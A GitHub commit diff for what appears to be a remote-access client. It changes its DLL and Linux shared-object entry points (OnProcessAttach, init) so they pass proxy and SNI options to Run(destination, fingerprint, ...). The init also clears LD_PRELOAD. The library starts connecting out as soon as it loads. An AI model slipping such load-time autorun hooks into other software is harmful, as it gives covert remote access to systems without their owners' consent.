Skip to content

Commit 28f0ad0

Browse files
committed
Fix shared objects not being compiled, add proxy and custom sni options into shared object run
1 parent df1cbc5 commit 28f0ad0

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

cmd/client/dllfuncs.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,11 @@ import "C"
66

77
//export VoidFunc
88
func VoidFunc() {
9-
Run(destination, fingerprint, "")
9+
Run(destination, fingerprint, proxy, customSNI)
1010
}
1111

1212
//export OnProcessAttach
1313
func OnProcessAttach() {
1414

15-
Run(destination, fingerprint, "")
15+
Run(destination, fingerprint, proxy, customSNI)
1616
}

cmd/client/sharedobj_linux.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,5 +16,5 @@ func init() {
1616
//If we're loading as a shared lib, stop our children from being polluted
1717
os.Setenv("LD_PRELOAD", "")
1818

19-
client.Run(destination, fingerprint, "")
19+
client.Run(destination, fingerprint, "", customSNI)
2020
}

0 commit comments

Comments
 (0)